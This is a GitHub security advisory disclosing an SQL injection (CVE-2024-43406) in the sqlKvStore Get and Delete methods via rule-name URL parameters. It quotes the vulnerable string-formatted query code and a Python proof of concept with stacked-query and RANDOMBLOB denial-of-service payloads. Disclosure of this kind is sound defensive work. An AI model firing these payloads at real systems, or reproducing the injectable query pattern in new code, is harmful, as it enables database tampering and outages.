Skip to content

SQL Injection in sqlKvStore

High
ngjaying published GHSA-r5ph-4jxm-6j9p Aug 20, 2024

Package

No package listed

Affected versions

< 1.14.1

Patched versions

1.14.2

Description

Summary

A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore.

Details

I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.

The SQL injection can happen in the code:

func (kv *sqlKvStore) Get(key string, value interface{}) (bool, error) {
result := false
err := kv.database.Apply(func(db *sql.DB) error {
query := fmt.Sprintf("SELECT val FROM '%s' WHERE key='%s';", kv.table, key)
row := db.QueryRow(query)

The code to accept user input is:
func explainRuleHandler(w http.ResponseWriter, r *http.Request) {
defer r.Body.Close()
vars := mux.Vars(r)
name := vars["name"]

The rule id in the above code can be used to exploit SQL query.

Note that the delete function is also vulnerable:

func (kv *sqlKvStore) Delete(key string) error {
return kv.database.Apply(func(db *sql.DB) error {
query := fmt.Sprintf("SELECT key FROM '%s' WHERE key='%s';", kv.table, key)
row := db.QueryRow(query)

PoC

import requests
from urllib.parse import quote

# SELECT val FROM 'xxx' WHERE key='%s';
payload = f"""'; ATTACH DATABASE 'test93' AS test93;
CREATE TABLE test93.pwn (dataz text);
INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--"""

#payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--"

url = f"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain"   # explainRuleHandler

res = requests.get(url)
print(res.content)

The screenshot shows the malicious SQL query to insert a value:
image

The screenshot shows the breakpoint of executing the query:
image

Impact

SQL Injection vulnerability

The reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2024-43406

Weaknesses

Credits